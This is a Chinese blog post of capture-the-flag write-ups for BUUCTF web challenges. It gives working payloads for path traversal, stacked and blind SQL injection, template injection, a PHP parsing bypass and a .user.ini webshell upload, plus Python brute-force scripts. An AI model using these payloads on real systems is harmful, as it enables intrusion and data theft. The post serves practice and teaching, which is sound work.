BUUCTF-WEB刷题记录-1

目录

    • [HCTF 2018]WarmUp
    • [强网杯 2019]随便注
    • [护网杯 2018]easy_tornado
    • [SUCTF 2019]EasySQL
    • [HCTF 2018]admin
    • [RoarCTF 2019]Easy Calc
    • [极客大挑战 2019]EasySQL
    • [强网杯 2019]高明的黑客
    • [极客大挑战 2019]Havefun
    • [SUCTF 2019]CheckIn
    • [CISCN2019 华北赛区 Day2 Web1]Hack World

[HCTF 2018]WarmUp

index.php?file=source.php
查看源代码
BUUCTF-WEB刷题记录-1_第1张图片
源码中又进行了一次urldecode
构造payload:?file=source.php%253f../../../../../ffffllllaaaagggg

[强网杯 2019]随便注

利用堆叠注入

-1’;show tables#
-1’;desc words#或者-1’;show columns from words#

预编译查询

预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
例句:set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;

[护网杯 2018]easy_tornado

tornado的模板漏洞
{{handler.settings}}得到secret_cookie
然后用以下脚本:注意在python2下运行

import hashlib

def md5(s):

    md5 = hashlib.md5()

    md5.update(s)

    return md5.hexdigest()



filename = '/fllllllllllllag'

cookie_secret = 'bc563633-4591-4b42-b51f-9cf7d3314194'

print(md5(cookie_secret + md5(filename)))

ans = 'file?filename='+filename+'&filehash='+(md5(cookie_secret + md5(filename)))

print ans

[SUCTF 2019]EasySQL

查询操作为select POST[‘query’]||flag from Flag
*,1可以获取
或者把||符号由或改为拼接:1;set sql_mode=PIPES_AS_CONCAT;select 1

[HCTF 2018]admin

这里利用的是Unicode欺骗
在change的地方发现源代码
在这里插入图片描述
在change和register都把输入转化为小写:
BUUCTF-WEB刷题记录-1_第2张图片
在这里插入图片描述
而转化为小写的地方存在漏洞
在这里插入图片描述
对于一些特殊的Unicode,nodeprep.prepare会进行如下操作

ᴀ -> A -> a
所以我们先注册一个ᴬᴰᴹᴵᴺ,登录之后变成了ADMIN,
BUUCTF-WEB刷题记录-1_第3张图片
改密码时账号就变成了admin
BUUCTF-WEB刷题记录-1_第4张图片

https://unicode-table.com/en/blocks/phonetic-extensions/
这个网站可以查
PS:
这题还有一个弱口令漏洞
密码123可以直接登录····

[RoarCTF 2019]Easy Calc

这题利用的是PHP字符串解析漏洞
当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析
看一下源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

题目中num被waf限制不能为字母,但是在前面加了空格之后,变成’ num’,waf就限制不了了,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符
%20num=1;var_dump(scandir(chr(47)))
BUUCTF-WEB刷题记录-1_第5张图片
%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
BUUCTF-WEB刷题记录-1_第6张图片

[极客大挑战 2019]EasySQL

使用万能密码直接登陆得到flag
账号:admin' or 1=1 #

[强网杯 2019]高明的黑客

首先访问www.tar.gz获取源代码
这题需要使用动态测试
使用phpstudy搭建本地php环境,使用下面的代码测试

#!/usr/bin/env python3
import requests
import os
import re
url = 'http://localhost/src/'
ptn = re.compile(br"\$_GET\['(\w+)'\]")
ptn1 = re.compile(br'>>> (\w+) !!!')
i = 0
for f in list(os.scandir('/var/www/html/src'))[::-1]:
    i += 1
    print(i, end='\r')
    with open(f.path, 'rb') as fp:
        data = fp.read()
    for get in set(ptn.findall(data)):
        get = get.decode('ascii')
        cmd = 'echo ">>> %s !!!";' % get
        r = requests.get(url + f.name, params={get: cmd})
        if ptn1.search(r.content) is not None:
            print()
            print(f.name, get)
            exit()

最后发现xk0SzyKwfzw.php中的Efa5BVG参数可以执行代码,构造xk0SzyKwfzw.php?Efa5BVG=cat /flag

[极客大挑战 2019]Havefun

F12查看源代码
BUUCTF-WEB刷题记录-1_第7张图片
传参:?cat=dog
得到flag

[SUCTF 2019]CheckIn

这题通过上传配置文件来执行我们的代码
user.ini中auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
详细看这里
制作.user.ini配置文件
BUUCTF-WEB刷题记录-1_第8张图片
制作马
BUUCTF-WEB刷题记录-1_第9张图片
然后菜刀连上就行
BUUCTF-WEB刷题记录-1_第10张图片
不知道为什么菜刀不能直接在图形界面打开flag,最后用虚拟终端cat /flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

源代码:


$dbuser='root';
$dbpass='root';
 
function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);
 
if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

过滤了的函数并不多
这题需要使用爆破的方法
贴一下网上找到的脚本
逐位爆破

import requests
 
url = "http://38df3f5f-4a4d-421d-a4f0-bf06f9904406.node3.buuoj.cn/index.php";
 
result = ""
num=0  
for i in range(1,60):
 
	if num == 1:
		break
 
	for j in range(32,128):
 
		payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);
		#print(str((i-1)*96+j-32)+":~"+payload+"~")
 
		data = {
			"id":payload,
		}
 
		r = requests.post(url,data=data)
 
		r.encoding = r.apparent_encoding
 
		if "Hello" in r.text:
			x = chr(j)
			result+=str(x)
			print(result)
			break
 
		if "}" in result:
			print(result)
			num=1
			break
 
 
		

二分法:

import requests

url = 'http://38df3f5f-4a4d-421d-a4f0-bf06f9904406.node3.buuoj.cn/index.php'
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
        data = {
            "id":payload
        }
        response = requests.post(url, data = data)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)



下面介绍一下MYSQL中的if(),方面理解

在mysql中if()函数的用法类似于C中的三目表达式,其用处也比较多,具体语法如下:IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果exp1的值为false,则返回expr3的值

你可能感兴趣的:(BUUCTF-WEB刷题记录-1)